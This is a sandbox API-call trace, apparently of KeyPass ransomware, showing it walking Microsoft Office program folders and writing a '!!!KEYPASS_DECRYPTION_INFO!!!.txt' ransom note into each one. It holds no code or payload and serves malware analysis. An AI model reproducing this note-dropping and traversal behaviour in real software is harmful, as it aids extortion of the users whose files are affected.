[0257.100] FindNextFileW (in: hFindFile=0x3a0aab8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.100] FindNextFileW (in: hFindFile=0x3a0aab8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f2\\FA000000002") returned="" [0257.100] FindNextFileW (in: hFindFile=0x3a0aab8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.101] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.101] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.101] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.101] GetLastError () returned 0x3f0 [0257.101] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f3\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f3\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.101] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f3\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f3\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\fpa_f3\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa10 [0257.102] GetFileType (hFile=0xa10) returned 0x1 [0257.102] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.102] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.102] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.102] WriteFile (in: hFile=0xa10, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.103] WriteFile (in: hFile=0xa10, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.103] CloseHandle (hObject=0xa10) returned 1 [0257.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f3\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0acb8 [0257.103] FindNextFileW (in: hFindFile=0x3a0acb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.103] FindNextFileW (in: hFindFile=0x3a0acb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f3\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.103] FindNextFileW (in: hFindFile=0x3a0acb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f3\\FA000000003") returned="" [0257.103] FindNextFileW (in: hFindFile=0x3a0acb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.103] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.104] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.104] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.104] GetLastError () returned 0x3f0 [0257.104] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f4\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f4\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.104] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f4\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f4\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\fpa_f4\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa14 [0257.105] GetFileType (hFile=0xa14) returned 0x1 [0257.105] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.105] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.105] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.105] WriteFile (in: hFile=0xa14, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.106] WriteFile (in: hFile=0xa14, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.106] CloseHandle (hObject=0xa14) returned 1 [0257.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f4\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0ab78 [0257.106] FindNextFileW (in: hFindFile=0x3a0ab78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.106] FindNextFileW (in: hFindFile=0x3a0ab78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.106] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f4\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.106] FindNextFileW (in: hFindFile=0x3a0ab78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.106] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f4\\FA000000005") returned="" [0257.106] FindNextFileW (in: hFindFile=0x3a0ab78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.106] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.107] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.107] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.107] GetLastError () returned 0x3f0 [0257.107] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f7\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f7\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.107] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f7\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f7\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\fpa_f7\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa18 [0257.108] GetFileType (hFile=0xa18) returned 0x1 [0257.108] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.108] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.108] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.108] WriteFile (in: hFile=0xa18, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.109] WriteFile (in: hFile=0xa18, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.109] CloseHandle (hObject=0xa18) returned 1 [0257.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f7\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0ad38 [0257.109] FindNextFileW (in: hFindFile=0x3a0ad38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.109] FindNextFileW (in: hFindFile=0x3a0ad38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.109] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f7\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.109] FindNextFileW (in: hFindFile=0x3a0ad38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.109] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f7\\FA000000007") returned="" [0257.109] FindNextFileW (in: hFindFile=0x3a0ad38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.109] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.109] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.110] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.110] GetLastError () returned 0x3f0 [0257.110] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000006\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000006\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.110] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000006\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000006\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\fpa_fa000000006\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa20 [0257.111] GetFileType (hFile=0xa20) returned 0x1 [0257.111] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.111] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.111] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.111] WriteFile (in: hFile=0xa20, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.112] WriteFile (in: hFile=0xa20, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.112] CloseHandle (hObject=0xa20) returned 1 [0257.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000006\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0aaf8 [0257.112] FindNextFileW (in: hFindFile=0x3a0aaf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.112] FindNextFileW (in: hFindFile=0x3a0aaf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.112] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000006\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.112] FindNextFileW (in: hFindFile=0x3a0aaf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.112] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000006\\FA000000006") returned="" [0257.112] FindNextFileW (in: hFindFile=0x3a0aaf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.112] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.113] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.113] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.113] GetLastError () returned 0x3f0 [0257.113] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000008\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000008\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.113] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000008\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000008\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\fpa_fa000000008\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa24 [0257.114] GetFileType (hFile=0xa24) returned 0x1 [0257.114] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.114] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.114] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.114] WriteFile (in: hFile=0xa24, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.115] WriteFile (in: hFile=0xa24, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.115] CloseHandle (hObject=0xa24) returned 1 [0257.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000008\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0abf8 [0257.115] FindNextFileW (in: hFindFile=0x3a0abf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.115] FindNextFileW (in: hFindFile=0x3a0abf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.115] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000008\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.115] FindNextFileW (in: hFindFile=0x3a0abf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.115] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000008\\FA000000008") returned="" [0257.115] FindNextFileW (in: hFindFile=0x3a0abf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.115] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.116] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.116] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.116] GetLastError () returned 0x3f0 [0257.116] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000011\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000011\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.116] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000011\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000011\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\fpa_fa000000011\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa28 [0257.117] GetFileType (hFile=0xa28) returned 0x1 [0257.117] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.117] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.117] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.117] WriteFile (in: hFile=0xa28, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.118] WriteFile (in: hFile=0xa28, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.118] CloseHandle (hObject=0xa28) returned 1 [0257.119] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000011\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0ae78 [0257.119] FindNextFileW (in: hFindFile=0x3a0ae78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.119] FindNextFileW (in: hFindFile=0x3a0ae78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.119] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000011\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.120] FindNextFileW (in: hFindFile=0x3a0ae78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.120] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_FA000000011\\FA000000011") returned="" [0257.120] FindNextFileW (in: hFindFile=0x3a0ae78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.120] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.120] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.120] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.120] GetLastError () returned 0x3f0 [0257.120] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_w1\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_w1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.120] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_w1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_w1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\fpa_w1\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa2c [0257.121] GetFileType (hFile=0xa2c) returned 0x1 [0257.121] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.121] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.121] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.121] WriteFile (in: hFile=0xa2c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.122] WriteFile (in: hFile=0xa2c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.122] CloseHandle (hObject=0xa2c) returned 1 [0257.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_w1\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0aeb8 [0257.122] FindNextFileW (in: hFindFile=0x3a0aeb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.122] FindNextFileW (in: hFindFile=0x3a0aeb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_w1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.123] FindNextFileW (in: hFindFile=0x3a0aeb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_w1\\WA104381125") returned="" [0257.123] FindNextFileW (in: hFindFile=0x3a0aeb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.123] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\GANTT.DLL") returned=".DLL" [0257.123] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\GFX.DLL") returned=".DLL" [0257.123] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\GKExcel.dll") returned=".dll" [0257.123] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\GKPowerPoint.dll") returned=".dll" [0257.123] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\GKWord.dll") returned=".dll" [0257.123] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE") returned=".EXE" [0257.123] 